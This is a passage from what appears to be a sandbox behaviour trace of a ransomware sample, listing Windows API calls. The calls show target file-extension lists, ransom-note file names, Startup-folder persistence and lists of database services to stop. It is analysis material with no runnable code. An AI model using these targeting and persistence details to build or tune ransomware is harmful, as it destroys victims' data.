;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0223.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x577538 | out: hHeap=0x4f0000) returned 1 [0223.679] lstrlenW (lpString="") returned 0 [0223.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57ffd0 | out: hHeap=0x4f0000) returned 1 [0223.679] lstrlenW (lpString=".HCK") returned 4 [0223.679] lstrlenW (lpString=".HCK") returned 4 [0223.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5801f8 | out: hHeap=0x4f0000) returned 1 [0223.679] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580240, Size=0x20) returned 0x52edc0 [0223.679] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52edc0, Size=0x40) returned 0x50a8b0 [0223.679] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a8b0, Size=0x80) returned 0x576ee8 [0223.679] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580658, Size=0x8) returned 0x580768 [0223.679] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580768, Size=0x10) returned 0x5802a0 [0223.679] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5802a0, Size=0x20) returned 0x52ec30 [0223.680] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0223.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x576ee8 | out: hHeap=0x4f0000) returned 1 [0223.680] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580240, Size=0x20) returned 0x52ec80 [0223.680] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52ec80, Size=0x40) returned 0x50a478 [0223.680] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0223.680] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0223.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50a478 | out: hHeap=0x4f0000) returned 1 [0223.680] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580108, Size=0x20) returned 0x52ec80 [0223.680] lstrlenW (lpString="Info.hta") returned 8 [0223.680] lstrlenW (lpString="Info.hta") returned 8 [0223.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ec80 | out: hHeap=0x4f0000) returned 1 [0223.680] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x580fa8, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe")) returned 0x48 [0223.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x580fa8 | out: hHeap=0x4f0000) returned 1 [0223.680] lstrlenW (lpString="winhost.exe") returned 11 [0223.680] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52ec30, Size=0x40) returned 0x50a7d8 [0223.680] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580270, Size=0x20) returned 0x52eb40 [0223.680] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580210, Size=0x20) returned 0x52eb68 [0223.680] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52eb68, Size=0x40) returned 0x50a358 [0223.680] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a358, Size=0x80) returned 0x576800 [0223.680] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x576800, Size=0x100) returned 0x57f220 [0223.680] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0223.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57f220 | out: hHeap=0x4f0000) returned 1 [0223.680] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x580fa8, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0223.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x590fb0 | out: hHeap=0x4f0000) returned 1 [0223.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x580fa8 | out: hHeap=0x4f0000) returned 1 [0223.682] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580638, Size=0x8) returned 0x580608 [0223.682] lstrlenW (lpString="%windir%;") returned 9 [0223.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52eb40 | out: hHeap=0x4f0000) returned 1 [0223.682] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0223.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x556550 | out: hHeap=0x4f0000) returned 1 [0223.682] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x57ffe8, Size=0x20) returned 0x52ee10 [0223.682] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52ee10, Size=0x40) returned 0x50a670 [0223.682] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a670, Size=0x80) returned 0x576ee8 [0223.682] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x576ee8, Size=0x100) returned 0x57eae8 [0223.682] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580628, Size=0x8) returned 0x580708 [0223.682] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580708, Size=0x10) returned 0x5800a8 [0223.682] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5800a8, Size=0x20) returned 0x52ecf8 [0223.682] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580618, Size=0x8) returned 0x5805d8 [0223.682] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580678, Size=0x8) returned 0x580628 [0223.682] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580768, Size=0x8) returned 0x580758 [0223.683] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580758, Size=0x10) returned 0x5802a0 [0223.683] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5802a0, Size=0x20) returned 0x52ea78 [0223.683] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5805d8, Size=0x10) returned 0x580060 [0223.683] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580628, Size=0x10) returned 0x580180 [0223.683] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580658, Size=0x8) returned 0x580748 [0223.683] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5805c8, Size=0x8) returned 0x580768 [0223.683] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580060, Size=0x20) returned 0x52ed20 [0223.683] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580180, Size=0x20) returned 0x52eaf0 [0223.683] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580628, Size=0x8) returned 0x580678 [0223.683] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0223.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57eae8 | out: hHeap=0x4f0000) returned 1 [0223.683] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580180, Size=0x20) returned 0x52eaa0 [0223.683] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x556550, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0223.683] lstrlenW (lpString="C:\\") returned 3 [0223.683] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0223.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x556550 | out: hHeap=0x4f0000) returned 1 [0223.684] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5806d8, Size=0x82) returned 0x535138 [0223.684] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580708, Size=0x100) returned 0x57e9e0 [0223.684] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x535138, Size=0x104) returned 0x579758 [0223.684] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x57e9e0, Size=0x200) returned 0x579868 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5806e8 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x579868 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x580348 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x576910 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5800a8 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x576778 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x580300 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x579758 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x580360 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x578d48 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x580378 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x578dd8 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x580318 | out: hHeap=0x4f0000) returned 1 [0223.685] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580360, Size=0x20) returned 0x52eb40 [0223.685] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52eb40, Size=0x40) returned 0x50a598 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5806b8 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x580210 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5350a8 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x580258 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x576a20 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x580180 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5806c8 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5802a0 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505480 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506560 | out: hHeap=0x4f0000) returned 1 [0223.685] lstrlenW (lpString="%systemdrive%") returned 13 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52eaa0 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x576c40 | out: hHeap=0x4f0000) returned 1 [0223.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x580688 | out: hHeap=0x4f0000) returned 1 [0223.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x546530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270 [0223.686] WaitForMultipleObjects (nCount=0x2, lpHandles=0x50af68*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 309 os_tid = 0xd08 Thread: id = 311 os_tid = 0xd14 [0223.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x580258 [0223.708] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580258, Size=0x20) returned 0x52eb40 [0223.708] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52eb40, Size=0x40) returned 0x50a478 [0223.708] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a478, Size=0x80) returned 0x576910 [0223.708] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x576910, Size=0x100) returned 0x57ebf0 [0223.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x580258 [0223.708] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580258, Size=0x20) returned 0x52edc0 [0223.708] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52edc0, Size=0x40) returned 0x50a8b0 [0223.708] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a8b0, Size=0x80) returned 0x576910 [0223.708] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x576910, Size=0x100) returned 0x57e5c0 [0223.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5800a8 [0223.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5805c8 [0223.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x580258 [0223.708] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5805c8, Size=0x8) returned 0x5805d8 [0223.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x506760 [0223.708] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5805d8, Size=0x10) returned 0x580318 [0223.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x5065c0 [0223.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x52eaa0 [0223.708] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x580318, Size=0x20) returned 0x52edc0 [0223.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1c) returned 0x52ee10 [0223.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x16) returned 0x506640 [0223.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x52ebb8 [0223.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5802d0 [0223.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5805c8 [0223.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x50a430 [0223.708] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5805c8, Size=0x8) returned 0x5806b8 [0223.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x50a8b0 [0223.708] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5806b8, Size=0x10) returned 0x5802e8 [0223.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x506800 [0223.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x506460 [0223.709] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5802e8, Size=0x20) returned 0x52e9d8 [0223.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x505780 [0223.709] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0223.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57ebf0 | out: hHeap=0x4f0000) returned 1 [0223.709] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0223.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57e5c0 | out: hHeap=0x4f0000) returned 1 [0223.709] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ee60 [0223.709] EnumServicesStatusExW (in: hSCManager=0x52ee60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0223.709] GetLastError () returned 0xea [0223.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a4e) returned 0x559560 [0223.710] EnumServicesStatusExW (in: hSCManager=0x52ee60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x559560, cbBufSize=0x1a4e, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x559560, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0223.710] CloseServiceHandle (hSCObject=0x52ee60) returned 1 [0223.710] lstrlenW (lpString="AppXSvc") returned 7 [0223.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0223.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0223.710] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0223.710] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0223.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0223.710] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0223.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0223.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0223.710] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0223.711] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0223.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0223.711] lstrlenW (lpString="Audiosrv") returned 8 [0223.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0223.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0223.711] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0223.711] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0223.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0223.711] lstrlenW (lpString="BFE") returned 3 [0223.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0223.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0223.711] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0223.711] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0223.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0223.711] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0223.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0223.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0223.711] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0223.711] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0223.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0223.711] lstrlenW (lpString="CDPSvc") returned 6 [0223.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0223.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0223.711] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0223.711] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0223.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0223.711] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0223.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0223.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0223.711] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0223.711] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0223.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0223.711] lstrlenW (lpString="CryptSvc") returned 8 [0223.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0223.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0223.711] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0223.711] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0223.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0223.711] lstrlenW (lpString="DcomLaunch") returned 10 [0223.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0223.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0223.711] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0223.712] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0223.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0223.712] lstrlenW (lpString="DeviceAssociationService") returned 24 [0223.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0223.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0223.712] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0223.712] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0223.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0223.712] lstrlenW (lpString="Dhcp") returned 4 [0223.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0223.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0223.712] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0223.712] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0223.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0223.712] lstrlenW (lpString="Dnscache") returned 8 [0223.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0223.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0223.712] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0223.712] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0223.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0223.712] lstrlenW (lpString="DPS") returned 3 [0223.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0223.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0223.712] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0223.712] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0223.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0223.712] lstrlenW (lpString="DusmSvc") returned 7 [0223.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0223.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0223.712] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0223.712] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0223.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0223.712] lstrlenW (lpString="EventLog") returned 8 [0223.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0223.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0223.712] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0223.712] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0223.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0223.712] lstrlenW (lpString="EventSystem") returned 11 [0223.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0223.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0223.712] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0223.712] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0223.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0223.713] lstrlenW (lpString="FontCache") returned 9 [0223.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0223.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0223.713] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0223.713] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0223.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0223.713] lstrlenW (lpString="gpsvc") returned 5 [0223.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0223.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0223.713] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0223.713] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0223.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0223.713] lstrlenW (lpString="iphlpsvc") returned 8 [0223.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0223.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0223.713] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0223.713] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0223.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0223.713] lstrlenW (lpString="KeyIso") returned 6 [0223.713] 